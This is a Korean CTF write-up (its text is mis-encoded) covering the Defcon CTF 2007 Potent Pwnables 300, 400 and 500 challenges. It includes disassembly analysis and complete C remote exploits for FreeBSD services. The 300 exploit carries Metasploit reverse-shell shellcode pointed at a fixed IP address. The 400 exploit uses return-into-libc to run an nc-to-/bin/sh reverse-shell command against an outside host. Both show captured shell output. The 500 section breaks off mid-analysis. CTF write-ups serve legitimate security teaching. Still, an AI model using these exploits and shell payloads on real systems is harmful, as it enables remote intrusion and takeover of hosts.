======================================================================================= Title: Defcon CTF 2007 Potent Pwnables 300, 400, 500 ¹®Á¦ ÇØ¼³ Author : À¯µ¿ÈÆ (Xpl017Elz) in INetCop E-mail : szoahc@hotmail.com Home: http://x82.inetcop.org Date: f.2007/06/05 s.2007/06/08 ======================================================================================= P.S: ¾È³çÇϼ¼¿ä~ ÁöÀÎÀÇ ºÎŹÀ¸·Î ´ëȸ Áß Potent Pwnables ¹®Á¦¸¦ Á¢Çؼ­ Ç®¾îº¸°Ô µÇ¾ú½À´Ï´Ù. ¾ÈŸ±õ°Ôµµ ´ëȸ¿¡ Âü°¡ÇÒ ¼ö ¾ø´Â °³ÀÎÀûÀÎ »çÁ¤ ¶§¹®¿¡ ´Ù¸¥ ¹®Á¦µéÀ» Á¢Çغ¸Áø ¸øÇß½À´Ï´Ù. ½Ã°£Àû ¿©À¯°¡ µÈ´Ù¸é Potent Pwnables 500µµ Á¶¸¸°£ ºÐ¼®Çؼ­ ¿Ã¸®µµ·Ï ³ë·ÂÇϰڽÀ´Ï´Ù. P.S2 [Ãß°¡ ºÎºÐ]: ¾Æ½±°Ô ´Ù¸¥ °÷¿¡ pwnage500 Ç®À̰¡ ¿Ã¶ó¿Â °ÍÀ» ¹ß°ßÇϰí Àúµµ ºÎ·ªºÎ·ª ÀÛ¼ºÇغ¸¾Ò½À´Ï´Ù. ÁÖ¸»¿¡ ÀÛ¾÷ÇØº¼ ¿¹Á¤À̾ú´Âµ¥, T_T ¾î·µç Àúµµ ¼­µÑ·¯ ¿Ã·Áº¾´Ï´Ù. * Potent Pwnables 300 FreeBSD remote exploit ÀÔ´Ï´Ù. pwnage300Àº read() ÇÔ¼ö¸¦ ÅëÇØ »ç¿ëÀÚ¿¡°Ô 10byteÀÇ ÀÔ·ÂÀ» ¹Þ°í, ±× ÇØ´ç Äڵ带 ½ÇÇàÇÏ´Â ¿ªÇÒÀ» ÇÕ´Ï´Ù. debugÇÏ±â ¾î·Æµµ·Ï signal alarmÀ» ÅëÇØ ÀܸӸ®¸¦ ½áµ×´õ±º¿ä. ÀÌ°Í ¿ª½Ã ÀܸӸ®·Î ¼öÁ¤ÇÏ¿© debug°¡ °¡´ÉÇÕ´Ï´Ù. ÇØ´ç ºÎºÐ ÄÚµåÀÔ´Ï´Ù. -- 8048d9a: 6a 0e push $0xe 8048d9c: e8 67 fc ff ff call 8048a08 8048da1: 83 c4 10 add $0x10,%esp 8048da4: 83 ec 0c sub $0xc,%esp 8048da7: 6a 02 push $0x2 // ±²ÀåÈ÷ ÀλöÇϳ׿ä. 8048da9: e8 ba fb ff ff call 8048968 ... -- socket ÃʱâÈ­ ÈÄ¿¡ fork(), accept()¸¦ °ÅÃÄ Ãë¾àÇÑ ÇÔ¼ö¸¦ È£ÃâÇÏ°Ô µË´Ï´Ù. -- 8048dae: 83 c4 10 add $0x10,%esp 8048db1: 83 ec 0c sub $0xc,%esp 8048db4: ff 75 f0 pushl 0xfffffff0(%ebp) 8048db7: e8 48 00 00 00 call 8048e04 // Ãë¾à ÇÔ¼ö È£Ãâ. -- Ãë¾àÁ¡ÀÌ ÀÖ´Â ÇÔ¼ö¸¦ ºÐ¼®Çغ¸¸é, -- // mmap() È£ÃâÀ» ÅëÇØ ½ÇÇàÇÒ Äڵ带 ÀԷ¹޴ ·çƾ ½ÃÀÛ 8048e16: 6a 00 push $0x0 8048e18: 6a ff push $0xffffffff 8048e1a: 68 11 10 00 00 push $0x1011 8048e1f: 6a 07 push $0x7 8048e21: 68 00 10 00 00 push $0x1000 8048e26: 68 00 60 04 08 push $0x8046000 8048e2b: e8 08 fb ff ff call 8048938 // mmap(0x08046000,0x1000,0x7,0x1011,0xffffffff,0); ... 8048e64: 6a 0a push $0xa 8048e66: ff 75 f8 pushl 0xfffffff8(%ebp) 8048e69: ff 75 08 pushl 0x8(%ebp) 8048e6c: e8 a7 fb ff ff call 8048a18 // read(sock,0x0804600,10); ... 8048e8d: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 8048e90: 89 45 f4 mov %eax,0xfffffff4(%ebp) 8048e93: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 8048e96: ff d0 call *%eax // ÀԷ¹ÞÀº ÄÚµå ½ÇÇà 8048e98: 89 45 f0 mov %eax,0xfffffff0(%ebp) 8048e9b: 83 ec 04 sub $0x4,%esp 8048e9e: 6a 04 push $0x4 8048ea0: 8d 45 f0 lea 0xfffffff0(%ebp),%eax 8048ea3: 50 push %eax 8048ea4: ff 75 08 pushl 0x8(%ebp) 8048ea7: e8 dc fa ff ff call 8048988 // Ä£ÀýÇÏ°Ô ÄÚµå ½ÇÇà °á°ú¸¦ write·Î ¸®ÅÏ -- C·Î ÀçÀÛ¼ºÇغ¸¸é, -- int vuln(int sock){ ... res=mmap(0x08046000,0x1000,0x7,0x1011,0xffffffff,0); if(res==-1){ perror("mmap error"); exit(...); } res=read(sock,0x0804600,10); if(res==-1){ error_function("ERROR reading from socket"); } res=*0x0804600(); write(sock,&res,4); ... } -- º¸½Ã´Ù½ÃÇÇ mmap() À¸·Î ¸ÊÇÎµÈ °ø°£ 0x08046000¿¡ ÄÚµå 10byte¸¦ ¿Ã·ÁµÎ°í ½ÇÇàÇÏ´Â °£´ÜÇÑ ±¸Á¶ÀÔ´Ï´Ù. call *%eax¿¡ ÀÇÇØ È£ÃâµÇ´Â 10byte Äڵ带 ÅëÇØ read() ÇÔ¼ö°¡ ÀԷ¹޴ ũ±â¸¦ Á¶ÀÛÇÒ ¼ö ÀÖ½À´Ï´Ù. -- #1 8048e64: 6a 0a push $0xa #2 8048e66: ff 75 f8 pushl 0xfffffff8(%ebp) #3 8048e69: ff 75 08 pushl 0x8(%ebp) #4 8048e6c: e8 a7 fb ff ff call 8048a18 // read(sock,0x0804600,10); -- #1¹ø¿¡¼­ read() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚÀÎ ÀÔ·Â Å©±â¸¦ ¼³Á¤ÇÏÁÒ. ÀÌ ºÎºÐÀ» ¿ì¸®ÀÇ ÄÚµå·Î ´ëóÇÏ¸é µË´Ï´Ù. %eax ·¹Áö½ºÅÍ´Â call µÉ °ÍÀ̱⠶§¹®¿¡ 0x08046000 ÁÖ¼Ò°¡ ÀÖ°ÚÁÒ. À̰ÍÀ» stack¿¡ push Çϰí #2¹øÀ» ¼öÇàÇÏ¸é ¾î¶»°Ô µÉ±î¿ä? -- push %eax (0x08046000) push 0x08046000 push sock; call read(); // read(sock,0x08046000,1345004448); -- ¿ì¸®´Â ÀÌ·¸°Ô read() ÇÔ¼öÀÇ 3¹øÂ° ÀÎÀÚ¸¦ Á¶ÀÛÇÏ¿© 0x08046000 Áï, 1345004448byte ÀÔ·Â °¡´ÉÇÏ°Ô ¸¸µé ¼ö ÀÖ½À´Ï´Ù. °á·ÐÀûÀ¸·Î 10byte °ø°Ý ÄÚµå´Â ´ÙÀ½°ú °°½À´Ï´Ù. -- "\x50" // push %eax "\x68\x66\x8e\x04\x08" // push $0x08048e66 #2 ¹øÀ¸·Î °¡±â À§ÇØ. "\xc3" // ret (pop %eip) "\x82\x82\x82" // 10byte¸¦ ¸ÂÃçÁÖ±â À§ÇÑ pad -- ´ÙÀ½Àº exploit ÀÔ´Ï´Ù. -- /* ** ** 0x82-eat_pwnage300.c - Potent Pwnables 300 remote exploit by x82 ** ** pwnage300 exploit: -- ** [x82@x0x x82]$ nc -l -p 8282 ** /bin/sh -i ** sh: can't access tty; job control turned off ** $ id ** uid=2002(pwnage300) gid=2002(pwnage300) groups=2002(pwnage300) ** $ cat /home/pwnage300/key ** ViAgR@ 4 ur shellcode ** $ exit ** [x82@x0x x82]$ ** -- ** */ #include #include #include #include #include #include int main(int argc,char *argv[]){ unsigned char janmury[]= "\x50" // push %eax read() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ¸¦ 0x08046000(%eax) ¸¸Å­ ¹Þ°Ô ¸¸µë. "\x68\x66\x8e\x04\x08" // push $0x08048e66 read() È£ÃâºÎ·Î ³Ñ¾î°¥ Áغñ "\xc3" // ret (pop %eip) read() È£ÃâºÎ ÁÖ¼Ò·Î ¸®ÅÏ "\x82\x82\x82" // pad /* 0x08048e66: pushl 0xfffffff8(%ebp) 0x08048e69: pushl 0x8(%ebp) 0x08048e6c: call 8048a18 read(sock,0x0804600,10); ÀÌ·¸°Ô ¸®ÅÏÇϸé, 10byte¸¦ 3¹øÂ° ÀÎÀÚ·Î ¾²´ø ÄÚµå ´ë½Å¿¡ 1345004448 (0x08046000)¸¸Å­ ÀԷ¹޵µ·Ï ¸¸µé ¼ö ÀÖÀ¸¹Ç·Î, Å« shellcode ÀÔ·ÂÀÌ °¡´ÉÇØ Áü. read(sock,0x08046000,1345004448); */ ; /* 8282¹øÀ¸·Î Á¢¼ÓÇÏ´Â metasploit ¸®¹ö½º ½©ÄÚµå (½©ÄÚµå ¸¸µé ½Ã°£ÀÌ ¾ø¾î¼­ -_¤Ð) */ /* bsd_ia32_reverse - LHOST=221.154.133.30 LPORT=8282 Size=92 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x29\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0b" "\xe2\x2e\xc3\x83\xeb\xfc\xe2\xf4\x61\x83\x76\x5a\x59\xa0\x7c\x81" "\x59\x8a\xf3\x59\x8e\xfc\xe3\x43\x63\xf2\x2c\xe3\x51\x6b\xcf\xa9" "\x1b\xb3\x7e\x92\x9c\x88\x4c\x9b\xc6\x62\x44\xc1\x52\x52\x74\x92" "\x5c\xb3\xe3\x43\x42\x9b\xd8\x93\x63\xcd\x01\xb0\x63\x8a\x01\xa1" "\x62\x8c\xa7\x20\x5b\xb6\x7d\x90\xbb\xd9\xe3\x43"; struct hostent *se; struct sockaddr_in saddr; int sock; int i; printf("\nPotent Pwnables 300 remote exploit by x82\n\n"); if(argc<3){ printf("Usage: %s [host] [port]\n",argv[0]); exit(-1); } se=gethostbyname(argv[1]); if(se==NULL){ return -1; } sock=socket(AF_INET,SOCK_STREAM,0); if(sock==-1){ return -1; } saddr.sin_family=AF_INET; saddr.sin_port=htons(atoi(argv[2])); saddr.sin_addr=*((struct in_addr *)se->h_addr); bzero(&(saddr.sin_zero),8); i=connect(sock,(struct sockaddr *)&saddr,sizeof(struct sockaddr)); if(i==-1){ return -1; } // °ø°Ý ´ë»ó ¹ÙÀ̳ʸ®¿¡¼­ alarmÀÇ ÀÎÀÚ¸¦ 0xff·Î ¼öÁ¤ÇÏ¸é µð¹ö±ëÀÌ °¡´É. // sleep(10); send(sock,janmury,strlen(janmury),0); send(sock,scode,strlen(scode),0); close(sock); } /* eoc */ -- °ø°Ý °á°ú: -- [x82@x0x x82]$ nc -l -p 8282 /bin/sh -i sh: can't access tty; job control turned off $ id uid=2002(pwnage300) gid=2002(pwnage300) groups=2002(pwnage300) $ cat /home/pwnage300/key ViAgR@ 4 ur shellcode $ exit [x82@x0x x82]$ -- ±×¸® ¾î·ÆÁö ¾ÊÀº ¹®Á¦¿´½À´Ï´Ù. * Potent Pwnables 400 ÀÌ ¹®Á¦ ¿ª½Ã, FreeBSD remote °ø°ÝÀÔ´Ï´Ù. Á¤¸» ¾Æ½±°Ôµµ ´ëȸ ´ç½Ã¿¡´Â ¹®Á¦ ±¸°æÁ¶Â÷ ÇÏÁö ¸øÇß½À´Ï´Ù. ³ªÁß¿¡ ÁöÀÎÀ» ÅëÇØ ¹ÙÀ̳ʸ® ¹Þ¾Æ¿Í¼­ ºÐ¼® ÈÄ exploit ÇØº» °ÍÀÔ´Ï´Ù. pwnage400Àº FreeBSD remote stack overflow ÀÔ´Ï´Ù. À̹ø ¹®Á¦´Â return-into-libc·Î Ç®¾ú½À´Ï´Ù. ¿©±â Àú±â¿¡ ÇÔÁ¤ÀÌ Á» ÀÖ¾ú±â ¶§¹®¿¡ (ÀǵµµÈ °ÍÀÎÁö´Â ¸ð¸£°ÚÀ½) ¹®Á¦¸¦ Ǫ´Âµ¥ ½Ã°£ ³¶ºñ°¡ ÀÖ¾úÀ» °Í °°½À´Ï´Ù. ¸¶Âù°¡Áö·Î signalÀ» ÅëÇØ alarm(5)¸¦ ¼³Á¤ÇÏ¿© 5ÃÊ µ¿¾È¸¸ Åë½ÅÇÒ ¼ö ÀÖµµ·Ï ±¸¼ºµÇ¾î ÀÖ½À´Ï´Ù. -- 80493fa: 6a 05 push $0x5 80493fc: e8 fb f4 ff ff call 80488fc -- ´ÙÀ½Àº pwnage400¿¡¼­ Áß¿ä ºÎºÐÀ» º¸±â ½±°Ô À籸¼º ÇØº» °ÍÀÔ´Ï´Ù. È帧°ú °ü·Ã ¾ø´Â ÇÔ¼ö´Â °ú°¨È÷ »ý·«ÇÏ¿´½À´Ï´Ù. -- 0x0804947c(int sock,char *buf,int size){ int i=0; if(size){ do{ res=read(sock,buf+i,size-i); if(res<=0){break;} i+=res; } while(i1023){ ... getpwnam(esi); ... } } if(eax==0x00000006){ // ±× ¹ÛÀÇ overflow°¡ ¹ß»ýÇÏ´Â ÆÄÆ®µé. if(*(edi+4)==4){ ... getpwuid(ebp-1260); ... } } if(eax==0x00000007){ // #3¹ø ÆÄÆ®: mmapÀ¸·Î 4096 ¹ÙÀÌÆ®¸¦ ä¿ò. "rw" (PROT_READ|PROT_WRITE) if(*(edi+4)<=4096){ eax=mmap(0xbfbdf000, 4096, 3, 4112, -1, 0); edx=eax; eax=0x0804947c(sock,edx,*(edi+4)); ... sprintf(); } } ... } ... } -- »ðÁú(?)À» ÁÙÀ̱â À§ÇØ, #1¹ø ÆÄÆ®¿Í, #2¹ø, #3¹ø ÆÄÆ®¸¦ ÁßÁ¡ÀûÀ¸·Î ºÐ¼®Çغ¸°Ú½À´Ï´Ù. #1¹ø ÆÄÆ®: -- 8048c7b: 6a 08 push $0x8 8048c7d: 8d bd 80 fb ff ff lea 0xfffffb80(%ebp),%edi 8048c83: 57 push %edi 8048c84: ff 75 08 pushl 0x8(%ebp) 8048c87: e8 f0 07 00 00 call 804947c -- read() ÇÔ¼ö¸¦ ÅëÇØ Ŭ¶óÀÌ¾ðÆ®¿¡°Ô ÃÑ 8byte¸¦ ÀԷ¹޽À´Ï´Ù. +------------+------------+ | type 4byte | size 4byte | +------------+------------+ |<------ ÃÑ 8byte ------->| typeÀº eax(ebp-1152 or edi) À§Ä¡¿¡ ´ã±â¸ç, size´Â edi+4 À§Ä¡°¡ µË´Ï´Ù. ¾Õ¼­ ÀԷ¹ÞÀº typeÀÌ 0x00000003À̸é, ´ÙÀ½ÀÇ #2¹ø ÆÄÆ® ³»¿ëÀÌ È£ÃâµË´Ï´Ù. #2¹ø ÆÄÆ®: -- 8048f28: 6a 04 push $0x4 8048f2a: 8d b5 54 fb ff ff lea 0xfffffb54(%ebp),%esi 8048f30: 56 push %esi 8048f31: ff 75 08 pushl 0x8(%ebp) 8048f34: c7 85 54 fb ff ff 00 movl $0x0,0xfffffb54(%ebp) 8048f3b: 00 00 00 8048f3e: e8 39 05 00 00 call 804947c ... 804906f: 83 ec 0c sub $0xc,%esp <<------------------+ 8049072: ff 75 08 pushl 0x8(%ebp) | 8049075: e8 ae fb ff ff call 8048c28 | ... | 8049086: 3b 9d 54 fb ff ff cmp 0xfffffb54(%ebp),%ebx | 804908c: 7c e1 jl 804906f ----+ ÀԷ¹ÞÀº ¸¸Å­ È£Ã⠹ݺ¹ ... -- À§ Äڵ带 º¸¸é, read·Î 4byte Á¤µµ¸¦ ´õ ¹Þ´Âµ¥, À̶§ ÀԷ¹ÞÀº Å©±â¸¸Å­ vuln() ÇÔ¼ö¸¦ ¹Ýº¹ È£ÃâÇÒ ¼ö ÀÖ°Ô µË´Ï´Ù. ¹Ù·Î ÀÌ Á¡À» ÀÌ¿ëÇϸé, stackÀ» Å©°Ô Ű¿ï ¼ö ÀÖ½À´Ï´Ù. exploit¿¡¼­´Â, ÃÑ 95¹ø Á¤µµ vuln()À» È£ÃâÇÏ¿©, stackÀ» Ű¿ó´Ï´Ù. ÀÌ·¸°Ô ¹«ÀÛÁ¤ stackÀ» Ű¿ì´Â ÀÌÀ¯´Â ¹«¾ùÀϱî¿ä...? ±×°ÍÀº ¹Ù·Î ´ÙÀ½ #3¹ø ÆÄÆ®ÀÇ mmap() ÇÔ¼ö ¶§¹®ÀÔ´Ï´Ù. #3¹ø ÆÄÆ®: -- 8048d0b: 81 7f 04 00 10 00 00 cmpl $0x1000,0x4(%edi) // 4096±îÁö ÀÔ·Â °¡´É 8048d12: 0f 87 1b 04 00 00 ja 8049133 ... 8048d1b: 6a 00 push $0x0 8048d1d: 6a ff push $0xffffffff 8048d1f: 68 10 10 00 00 push $0x1010 8048d24: 6a 03 push $0x3 8048d26: 68 00 10 00 00 push $0x1000 8048d2b: 68 00 f0 bd bf push $0xbfbdf000 8048d30: e8 a7 fb ff ff call 80488dc // mmap È£Ãâ 8048d35: 83 c4 20 add $0x20,%esp ... 8048d49: ff 77 04 pushl 0x4(%edi) 8048d4c: 52 push %edx 8048d4d: ff 75 08 pushl 0x8(%ebp) 8048d50: e8 27 07 00 00 call 804947c -- À§ mmap() ÄÚµå´Â 0xbfbdf000 À§Ä¡ºÎÅÍ 4096byte¸¦ "rw" (PROT_READ|PROT_WRITE) ±ÇÇÑÀ¸·Î ¼³Á¤ÇÕ´Ï´Ù. ¾Õ¼­ type°ú ÇÔ²² ÀÔ·ÂÇß´ø size¸¦ 0x1000(4096)À¸·Î ÀÔ·ÂÇß´Ù¸é, ±× Å©±â¸¸Å­ µ¥ÀÌÅ͸¦ Ãß°¡·Î ´õ ÀÔ·ÂÇÒ ¼ö ÀÖ½À´Ï´Ù. ºñ·Î¼Ò, stackÀ» Ű¿î ÀÌÀ¯°¡ È®½ÇÇØÁ³³×¿ä. ¿ì¸®´Â ÀÌ·¸°Ô ÃÖ´ë 4096byte°¡ ÀÔ·Â °¡´ÉÇÑ Á¶°ÇÀ» ÀÌ¿ëÇÏ¿© exploitÀ» ½ÃµµÇÒ ¼ö ÀÖ½À´Ï´Ù. Áï, #2¹ø ÆÄÆ®¸¦ ÃÑ 95¹ø ¼öÇàÇÏ¿©, 0xbfbdf000~0xbfbe0000 À§Ä¡ ³»¿¡ ÇÁ·¹ÀÓÀ» »ý¼ºÇß´Ù°í °¡Á¤ÇÑ´Ù¸é, ÀÌ·¸°Ô ÇÒ´çµÈ ÇÁ·¹ÀÓº¸´Ù ¾à 4¹è Á¤µµ ´õ Å« Å©±âÀÇ ÀÔ·ÂÀÌ °¡ÇØÁö°Ô µÇ¹Ç·Î, overflow°¡ ¹ß»ýÇÏ°Ô µÇ´Â °ÍÀÔ´Ï´Ù. vuln() ÇÔ¼ö Ãʱâ ÇÁ·Ñ·Î±×: -- 8048c2c: 56 push %esi 8048c2d: 53 push %ebx 8048c2e: 81 ec 40 05 00 00 sub $0x540,%esp -- È®ÀÎÇØº» °á°ú, È®½ÇÈ÷ ÇÒ´çµÈ ÇÁ·¹ÀÓº¸´Ù Å« °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. Áö±Ý±îÁöÀÇ ³»¿ëÀ» ÄÚµå·Î Á¤¸®Çغ¸¸é, +----------------------------+ | 0x00000003 (type) | +----------------------------+ | 0x00000000 (size) |: ¹«½Ã +----------------------------+ | 0x00000001 (count) |: vuln() ÇÔ¼ö È£Ãâ Ƚ¼ö - Ãß°¡ 4byte ÀÔ·Â +----------------------------+ | À§ 12byte Äڵ带 95¹ø ¹Ýº¹ | ... ... +----------------------------+ | 0x00000007 (type) | +----------------------------+ | 0x00001000 (size) |: 4096byte +----------------------------+ | ¿©±â¼­ºÎÅÍ, 4096byte ½ÃÀÛ... +----------------------------+ ÀÌ Äڵ带 ÀԷ¹޴ pwnage400ÀÇ È£Ãâ ±¸Á¶´Â ´ÙÀ½°ú °°½À´Ï´Ù. -- for(i=0;i<95;i++){ read(sock,type,4); /* 0x00000003 */ read(sock,size,4); /* 0x00000000 */ read(sock,count,4); /* 0x00000001: ´Ü 1¹ø¾¿¸¸ È£Ãâ (¹°·Ð, À̰ÍÀ» 95¹ø ¹Ýº¹) */ } read(sock,type,4); /* 0x00000007 */ read(sock,size,4); /* 0x00001000 - 4096 */ read(sock,data,4096); -- ¾Õ¼­ mmap() ÇÔ¼ö¿¡ ÀÇÇØ stack ½ÇÇà ±ÇÇÑÀÌ ¾ø¾îÁ³´Ù °¡Á¤Çϰí, return-into-libc ±â¹ýÀ¸·Î °ø°ÝÇÏ¸é ºñ±³Àû ½±°Ô exploitÀ» ¼º°øÇÒ ¼ö ÀÖ½À´Ï´Ù. ¿Ï¼ºµÈ °ø°Ý ÄÚµå ±¸Á¶: +----------------------------+ | 0x00000003 (type) | +----------------------------+ | 0x00000000 (size) | +----------------------------+ | 0x00000001 (count) | +----------------------------+ | À§ 12byte Äڵ带 95¹ø ¹Ýº¹ | ... ... +----------------------------+ | 0x00000007 (type) | +----------------------------+ | 0x00001000 (size) | +----------------------------+ | dummy 4byte |: 0xbfbdf000 +----------------------------+ | ½ÇÇàÇÒ ¸í·É ÀÔ·Â |: 0xbfbdf004 +----------------------------+ | alignÀ» À§ÇÑ pad ÀÔ·Â |: ÀÌ ÀԷ¿¡ µû¶ó, alignÀÌ ¹Ù²î¹Ç·Î ¸Å¿ì Áß¿äÇÑ ¿ªÇÒÀÓ. +----------------------------+ | system() address |: ¿©±â¼­ ºÎÅÍ return-into-libc code ¹Ýº¹ +----------------------------+ | dummy 4byte | +----------------------------+ | ¸í·É À§Ä¡ ÁÖ¼Ò: 0xbfbdf004 | +----------------------------+ | À§ 12byte return-into-libc Äڵ带 342¹ø ¹Ýº¹ (ÃÑ 4104byte) ... exploitÀº ´ÙÀ½°ú °°½À´Ï´Ù. -- /* ** ** 0x82-sux_pwnage400.c - Potent Pwnables 400 remote exploit by x82 ** ** pwnage400 exploit: -- ** [x82@x0x x82]$ nc -l -p 8282 ** whoami ** ** [x82@x0x x82]$ nc -l -p 8283 ** pwnage400 ** -- ** */ #include #include #include #include #include #include int main(int argc,char *argv[]){ int index=0; unsigned char do_ex[8192]; char ex_cmd[]="nc 221.154.133.40 8282" /* input Æ÷Æ® */ "|/bin/sh|" "nc 221.154.133.40 8283;" /* output Æ÷Æ® */ "x82x82x82"; /* pad: ¸í·É¾î Å©±â¿¡ µû¶ó alignÀ» ¸ÂÃçÁÖ±â À§ÇØ */ struct hostent *se; struct sockaddr_in saddr; int sock; int i; memset((char *)do_ex,0,sizeof(do_ex)); printf("\nPotent Pwnables 400 remote exploit by x82\n\n"); if(argc<3){ printf("Usage: %s [host] [port]\n",argv[0]); exit(-1); } se=gethostbyname(argv[1]); if(se==NULL){ return -1; } sock=socket(AF_INET,SOCK_STREAM,0); if(sock==-1){ return -1; } saddr.sin_family=AF_INET; saddr.sin_port=htons(atoi(argv[2])); saddr.sin_addr=*((struct in_addr *)se->h_addr); bzero(&(saddr.sin_zero),8); i=connect(sock,(struct sockaddr *)&saddr,sizeof(struct sockaddr)); if(i==-1){ return -1; } //sleep(10); // °ø°Ý ´ë»ó ¹ÙÀ̳ʸ®¿¡¼­ alarmÀÇ ÀÎÀÚ¸¦ 0xff·Î ¼öÁ¤ÇÏ¸é µð¹ö±ëÀÌ °¡´É. printf(" [1] make stack frame\n"); for(index=0,i=0;i<95;i++){ // stackÀ» Ű¿ò *(long *)&do_ex[index]=0x00000003; /* type: 3 */ index+=4; *(long *)&do_ex[index]=0x00000000; /* size: 0 */ index+=4; *(long *)&do_ex[index]=0x00000001; /* count: 1 */ index+=4; } printf(" [2] location: %p, call mmap();\n",0xbfbdf000); *(long *)&do_ex[index]=0x00000007; /* type: 7 */ index+=4; printf(" [3] input size: %d\n",0x1000); *(long *)&do_ex[index]=0x00001000; /* size: 4096 */ index+=4; //0xbfbdf000: ÇØ´ç À§Ä¡¿¡ ³Ö¾îÁü. *(long *)&do_ex[index]=0x82828282; /* dummy 4byte */ index+=4; //0xbfbdf004: ÀÌ ÁÖ¼Ò¿¡ ¸®¹ö½º Ä¿³ØÆ® ¸í·ÉÀ» »ðÀÔ printf(" [4] make reverse connect command\n"); sprintf(do_ex+index,"%s",ex_cmd); index+=strlen(ex_cmd); *(long *)&do_ex[index++]=0x00; printf(" [5] make return-into-libc code\n"); for(i=0;i<342;i++){ *(long *)&do_ex[index]=0x28095b08; /* system() ÁÖ¼Ò */ index+=4; *(long *)&do_ex[index]=0x82828282; /* dummy */ index+=4; *(long *)&do_ex[index]=0xbfbdf004; /* ¾Õ¼­, ÀÔ·ÂÇÑ ¸í·É ÁÖ¼Ò */ index+=4; } printf(" [6] send exploit.\n"); write(sock,do_ex,index); printf(" [*] 1sec wait plz\n\n"); sleep(1); close(sock); } /* eoc */ -- °ø°Ý °á°ú: -- [x82@x0x x82]$ nc -l -p 8282 whoami [x82@x0x x82]$ nc -l -p 8283 pwnage400 -- À§ÀÇ °ø°Ý °á°ú¿Í °°ÀÌ ¿ø°Ý¿¡¼­ return-into-libc ¸®¹ö½º Ä¿³ØÆÃ ¹æ¹ýÀ¸·Î shellÀ» ¶ç¿ï ¼ö ÀÖ¾ú½À´Ï´Ù. ¶óÀ̺귯¸® ¹öÀü¿¡ µû¶ó, system() ÁÖ¼Ò´Â º¯°æµÉ ¼ö ÀÖÀ¸¸ç, ÀÔ·ÂÇÏ´Â ¸í·É¾î Å©±â³ª °¡º¯ÀûÀÎ stack À§Ä¡¿¡ µû¶ó pad °ªÀ» ´Þ¸®ÇÏ¿© ³ÖÀ» ¼ö ÀÖ½À´Ï´Ù. * Potent Pwnables 500 pthread mutex °øÀ¯ µ¥ÀÌÅÍ ÇÏÀÌÁ§Å·À» ÅëÇÑ FreeBSD remote stack overflow ¹®Á¦ÀÔ´Ï´Ù. pthread_mutex_lock()°ú pthread_mutex_unlock()Àº Àá±Ý°ú ÇØÁ¦ ¿ªÇÒÀ» ÇÏ´Â ÇÔ¼ö·Î½á, ƯÁ¤ ¾²·¹µå¸¸ Á¢±Ù °¡´ÉÇϵµ·Ï µ¥ÀÌÅ͸¦ Àá°Å³ª(hold) ÇØÁ¦(release)ÇÏ¿© °øÀ¯ µ¥ÀÌÅ͸¦ º¸È£ÇÒ ¼ö ÀÖ½À´Ï´Ù. Á¦ÀÏ ¸ÕÀú, 12345¹ø Æ÷Æ®·Î Á¢¼ÓÇϸé rand() ÇÔ¼ö¸¦ ÅëÇØ 29999~40000 »çÀÌ Æ÷Æ®¸¦ ÀÓÀÇ·Î bind ÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ´ÙÀ½°ú °°ÀÌ Ä£ÀýÇÏ°Ô ÇØ´ç Æ÷Æ®¸¦ 16Áø¼ö·Î Ãâ·ÂÇØÁÖ°í Àֳ׿ä. -- $ nc 221.154.133.36 12345 95F1 -- ÀÌ »óÅ¿¡¼­ randomÇÏ°Ô bindµÈ ÇØ´ç Æ÷Æ®·Î Á¢¼ÓÇϸé, pthread¸¦ »ý¼ºÇÏ¿© »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ¹Þ½À´Ï´Ù. ÀÌ¿¡ ÇØ´çÇÏ´Â pthread Çڵ鸵 ÇÔ¼ö¸¦ C·Î À籸¼ºÇÏ¿© ºÐ¼®Çغ¸¸é ´ÙÀ½°ú °°½À´Ï´Ù. -- // pthread Çڵ鸵 ÇÔ¼ö ³»¿ë: ... pthread_mutex_lock(0x0804c5e0); // #1¹ø ÆÄÆ®: 0x0804c600 À§Ä¡¸¦ ÇöÀç ¾²·¹µå¸¸ Á¢±ÙÇϵµ·Ï lock. memset(0x0804c600,0,1280); ... read(sock,0x0804c600,1280); // 1280byte¸¦ ÀԷ¹ÞÀ½. ... if(0x0804912c(0xffffff68(%ebp),0xffffffc8(%ebp)) == 1) { // Ãë¾à ÇÔ¼ö·Î ÁøÀÔ write(sock,0xffffffc8(%ebp),20); pthread_mutex_unlock(0x0804c5e0); } else { write(sock,0x0804c600,20); pthread_mutex_unlock(0x0804c5e0); } close(sock); pthread_exit(0); } 0x0804912c(..., ...){ char buf[520]; ... if(strlen(0x0804c600)<=499){ // #2¹ø ÆÄÆ®: ÀÔ·Â µ¥ÀÌÅͰ¡ 499º¸´Ù À۰ųª °°Àº °æ¿ì 0x080493fc(0x8(%ebp)); // unlock ¼öÇà ÇÔ¼ö È£Ãâ ÈÄ strcpy(buf,0x0804c600); // ¹®ÀÚ¿­ º¹»ç ÇÔ¼ö È£Ãâ ... } 0x080493fc(...){ int i; for(i=0;i<=99999;*(&i=*(&i)+1)){ // Ç¥ÇöÇϱ⠱ÍÂú¾Æ¼­ ÇÊ¿ä¾ø´Â°Ç ÀüºÎ »ý·«ÇßÀ½ -_-;; pthread_mutex_unlock(0x0804c5e0); // #3¹ø ÆÄÆ®: °øÀ¯µ¥ÀÌÅÍ unlock ¹Ýº¹. } } -- ´Ù¸¥ ÀÛ¾÷ ¾øÀÌ ÁÖ¿ä ¼¼ ÆÄÆ®¸¸ »ìÆìº¸¸é ½±°Ô ÇØ´äÀ» ãÀ» ¼ö ÀÖ½À´Ï´Ù. #1¹ø ÆÄÆ®: -- ... 80491f2: 83 ec 0c sub $0xc,%esp 80491f5: 68 e0 c5 04 08 push $0x804c5e0 80491fa: e8 61 fb ff ff call 8048d60 // pthread_mutex_lock(0x804c5e0); 80491ff: 83 c4 10 add $0x10,%esp 8049202: 83 ec 04 sub $0x4,%esp 8049205: 68 00 05 00 00 push $0x500 804920a: 6a 00 push $0x0 804920c: 68 00 c6 04 08 push $0x804c600 8049211: e8 8a fa ff ff call 